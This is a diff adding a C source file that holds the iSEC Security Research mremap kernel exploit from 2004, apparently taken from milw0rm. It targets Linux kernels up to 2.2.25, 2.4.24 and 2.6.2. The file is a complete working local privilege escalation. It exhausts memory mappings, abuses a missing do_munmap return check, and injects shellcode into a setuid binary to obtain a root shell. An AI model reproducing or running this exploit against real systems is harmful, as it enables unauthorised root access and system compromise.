|
| 1 | +/* |
| 2 | + * |
| 3 | + * mremap missing do_munmap return check kernel exploit |
| 4 | + * |
| 5 | + * gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte |
| 6 | + * ./mremap_pte [suid] [[shell]] |
| 7 | + * |
| 8 | + * Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2 |
| 9 | + * |
| 10 | + * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. |
| 11 | + * |
| 12 | + * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" |
| 13 | + * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION |
| 14 | + * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. |
| 15 | + * |
| 16 | + */ |
| 17 | + |
| 18 | +#include <stdio.h> |
| 19 | +#include <stdlib.h> |
| 20 | +#include <errno.h> |
| 21 | +#include <unistd.h> |
| 22 | +#include <syscall.h> |
| 23 | +#include <signal.h> |
| 24 | +#include <time.h> |
| 25 | +#include <sched.h> |
| 26 | + |
| 27 | +#include <sys/mman.h> |
| 28 | +#include <sys/wait.h> |
| 29 | +#include <sys/utsname.h> |
| 30 | + |
| 31 | +#include <asm/page.h> |
| 32 | + |
| 33 | + |
| 34 | +#define str(s) #s |
| 35 | +#define xstr(s) str(s) |
| 36 | + |
| 37 | +// this is for standard kernels with 3/1 split |
| 38 | +#define STARTADDR 0x40000000 |
| 39 | +#define PGD_SIZE (PAGE_SIZE * 1024) |
| 40 | +#define VICTIM (STARTADDR + PGD_SIZE) |
| 41 | +#define MMAP_BASE (STARTADDR + 3*PGD_SIZE) |
| 42 | + |
| 43 | +#define DSIGNAL SIGCHLD |
| 44 | +#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM) |
| 45 | + |
| 46 | +#define MREMAP_MAYMOVE ( (1UL) << 0 ) |
| 47 | +#define MREMAP_FIXED ( (1UL) << 1 ) |
| 48 | + |
| 49 | +#define __NR_sys_mremap __NR_mremap |
| 50 | + |
| 51 | + |
| 52 | +// how many ld.so pages? this is the .text section length (like cat |
| 53 | +// /proc/self/maps) in pages |
| 54 | +#define LINKERPAGES 0x14 |
| 55 | + |
| 56 | +// suid victim |
| 57 | +static char *suid="/bin/ping"; |
| 58 | + |
| 59 | +// shell to start |
| 60 | +static char *launch="/bin/bash"; |
| 61 | + |
| 62 | + |
| 63 | +_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, |
| 64 | + ulong, e); |
| 65 | +unsigned long sys_mremap(unsigned long addr, unsigned long old_len, |
| 66 | + unsigned long new_len, unsigned long flags, |
| 67 | + unsigned long new_addr); |
| 68 | + |
| 69 | +static volatile unsigned base, *t, cnt, old_esp, prot, victim=0; |
| 70 | +static int i, pid=0; |
| 71 | +static char *env[2], *argv[2]; |
| 72 | +static ulong ret; |
| 73 | + |
| 74 | + |
| 75 | +// code to appear inside the suid image |
| 76 | +static void suid_code(void) |
| 77 | +{ |
| 78 | +__asm__( |
| 79 | + " call callme \n" |
| 80 | + |
| 81 | +// setresuid(0, 0, 0), setresgid(0, 0, 0) |
| 82 | + "jumpme: xorl %ebx, %ebx \n" |
| 83 | + " xorl %ecx, %ecx \n" |
| 84 | + " xorl %edx, %edx \n" |
| 85 | + " xorl %eax, %eax \n" |
| 86 | + " mov $"xstr(__NR_setresuid)", %al \n" |
| 87 | + " int $0x80 \n" |
| 88 | + " mov $"xstr(__NR_setresgid)", %al \n" |
| 89 | + " int $0x80 \n" |
| 90 | + |
| 91 | +// execve(launch) |
| 92 | + " popl %ebx \n" |
| 93 | + " andl $0xfffff000, %ebx \n" |
| 94 | + " xorl %eax, %eax \n" |
| 95 | + " pushl %eax \n" |
| 96 | + " movl %esp, %edx \n" |
| 97 | + " pushl %ebx \n" |
| 98 | + " movl %esp, %ecx \n" |
| 99 | + " mov $"xstr(__NR_execve)", %al \n" |
| 100 | + " int $0x80 \n" |
| 101 | + |
| 102 | +// exit |
| 103 | + " xorl %eax, %eax \n" |
| 104 | + " mov $"xstr(__NR_exit)", %al \n" |
| 105 | + " int $0x80 \n" |
| 106 | + |
| 107 | + "callme: jmp jumpme \n" |
| 108 | + ); |
| 109 | +} |
| 110 | + |
| 111 | + |
| 112 | +static int suid_code_end(int v) |
| 113 | +{ |
| 114 | +return v+1; |
| 115 | +} |
| 116 | + |
| 117 | + |
| 118 | +static inline void get_esp(void) |
| 119 | +{ |
| 120 | +__asm__( |
| 121 | + " movl %%esp, %%eax \n" |
| 122 | + " andl $0xfffff000, %%eax \n" |
| 123 | + " movl %%eax, %0 \n" |
| 124 | + : : "m"(old_esp) |
| 125 | + ); |
| 126 | +} |
| 127 | + |
| 128 | + |
| 129 | +static inline void cloneme(void) |
| 130 | +{ |
| 131 | +__asm__( |
| 132 | + " pusha \n" |
| 133 | + " movl $("xstr(CLONEFL)"), %%ebx \n" |
| 134 | + " movl %%esp, %%ecx \n" |
| 135 | + " movl $"xstr(__NR_clone)", %%eax \n" |
| 136 | + " int $0x80 \n" |
| 137 | + " movl %%eax, %0 \n" |
| 138 | + " popa \n" |
| 139 | + : : "m"(pid) |
| 140 | + ); |
| 141 | +} |
| 142 | + |
| 143 | + |
| 144 | +static inline void my_execve(void) |
| 145 | +{ |
| 146 | +__asm__( |
| 147 | + " movl %1, %%ebx \n" |
| 148 | + " movl %2, %%ecx \n" |
| 149 | + " movl %3, %%edx \n" |
| 150 | + " movl $"xstr(__NR_execve)", %%eax \n" |
| 151 | + " int $0x80 \n" |
| 152 | + : "=a"(ret) |
| 153 | + : "m"(suid), "m"(argv), "m"(env) |
| 154 | + ); |
| 155 | +} |
| 156 | + |
| 157 | + |
| 158 | +static inline void pte_populate(unsigned addr) |
| 159 | +{ |
| 160 | +unsigned r; |
| 161 | +char *ptr; |
| 162 | + |
| 163 | + memset((void*)addr, 0x90, PAGE_SIZE); |
| 164 | + r = ((unsigned)suid_code_end) - ((unsigned)suid_code); |
| 165 | + ptr = (void*) (addr + PAGE_SIZE); |
| 166 | + ptr -= r+1; |
| 167 | + memcpy(ptr, suid_code, r); |
| 168 | + memcpy((void*)addr, launch, strlen(launch)+1); |
| 169 | +} |
| 170 | + |
| 171 | + |
| 172 | +// hit VMA limit & populate PTEs |
| 173 | +static void exhaust(void) |
| 174 | +{ |
| 175 | +// mmap PTE donor |
| 176 | + t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE, |
| 177 | + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); |
| 178 | + if(MAP_FAILED==t) |
| 179 | + goto failed; |
| 180 | + |
| 181 | +// prepare shell code pages |
| 182 | + for(i=2; i<LINKERPAGES+1; i++) |
| 183 | + pte_populate(victim + PAGE_SIZE*i); |
| 184 | + i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ); |
| 185 | + if(i) |
| 186 | + goto failed; |
| 187 | + |
| 188 | +// lock unmap |
| 189 | + base = MMAP_BASE; |
| 190 | + cnt = 0; |
| 191 | + prot = PROT_READ; |
| 192 | + printf("\n"); fflush(stdout); |
| 193 | + for(;;) { |
| 194 | + t = mmap((void*)base, PAGE_SIZE, prot, |
| 195 | + MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); |
| 196 | + if(MAP_FAILED==t) { |
| 197 | + if(ENOMEM==errno) |
| 198 | + break; |
| 199 | + else |
| 200 | + goto failed; |
| 201 | + } |
| 202 | + if( !(cnt%512) || cnt>65520 ) |
| 203 | + printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base, |
| 204 | + base+PAGE_SIZE); fflush(stdout); |
| 205 | + base += PAGE_SIZE; |
| 206 | + prot ^= PROT_EXEC; |
| 207 | + cnt++; |
| 208 | + } |
| 209 | + |
| 210 | +// move PTEs & populate page table cache |
| 211 | + ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, |
| 212 | + MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM); |
| 213 | + if(-1==ret) |
| 214 | + goto failed; |
| 215 | + |
| 216 | + munmap((void*)MMAP_BASE, old_esp-MMAP_BASE); |
| 217 | + t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, |
| 218 | + PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, |
| 219 | + 0); |
| 220 | + if(MAP_FAILED==t) |
| 221 | + goto failed; |
| 222 | + |
| 223 | + *t = *((unsigned *)old_esp); |
| 224 | + munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE)); |
| 225 | + printf("\n[+] Success\n\n"); fflush(stdout); |
| 226 | + return; |
| 227 | + |
| 228 | +failed: |
| 229 | + printf("\n[-] Failed\n"); fflush(stdout); |
| 230 | + _exit(0); |
| 231 | +} |
| 232 | + |
| 233 | + |
| 234 | +static inline void check_kver(void) |
| 235 | +{ |
| 236 | +static struct utsname un; |
| 237 | +int a=0, b=0, c=0, v=0, e=0, n; |
| 238 | + |
| 239 | + uname(&un); |
| 240 | + n=sscanf(un.release, "%d.%d.%d", &a, &b, &c); |
| 241 | + if(n!=3 || a!=2) { |
| 242 | + printf("\n[-] invalid kernel version string\n"); |
| 243 | + _exit(0); |
| 244 | + } |
| 245 | + |
| 246 | + if(b==2) { |
| 247 | + if(c<=25) |
| 248 | + v=1; |
| 249 | + } |
| 250 | + else if(b==3) { |
| 251 | + if(c<=99) |
| 252 | + v=1; |
| 253 | + } |
| 254 | + else if(b==4) { |
| 255 | + if(c>18 && c<=24) |
| 256 | + v=1, e=1; |
| 257 | + else if(c>24) |
| 258 | + v=0, e=0; |
| 259 | + else |
| 260 | + v=1, e=0; |
| 261 | + } |
| 262 | + else if(b==5 && c<=75) |
| 263 | + v=1, e=1; |
| 264 | + else if(b==6 && c<=2) |
| 265 | + v=1, e=1; |
| 266 | + |
| 267 | + printf("\n[+] kernel %s vulnerable: %s exploitable %s", |
| 268 | + un.release, v? "YES" : "NO", e? "YES" : "NO" ); |
| 269 | + fflush(stdout); |
| 270 | + |
| 271 | + if(v && e) |
| 272 | + return; |
| 273 | + _exit(0); |
| 274 | +} |
| 275 | + |
| 276 | + |
| 277 | +int main(int ac, char **av) |
| 278 | +{ |
| 279 | +// prepare |
| 280 | + check_kver(); |
| 281 | + memset(env, 0, sizeof(env)); |
| 282 | + memset(argv, 0, sizeof(argv)); |
| 283 | + if(ac>1) suid=av[1]; |
| 284 | + if(ac>2) launch=av[2]; |
| 285 | + argv[0] = suid; |
| 286 | + get_esp(); |
| 287 | + |
| 288 | +// mmap & clone & execve |
| 289 | + exhaust(); |
| 290 | + cloneme(); |
| 291 | + if(!pid) { |
| 292 | + my_execve(); |
| 293 | + } else { |
| 294 | + waitpid(pid, 0, 0); |
| 295 | + } |
| 296 | + |
| 297 | +return 0; |
| 298 | +} |
| 299 | + |
| 300 | +// milw0rm.com [2004-03-01] |
0 commit comments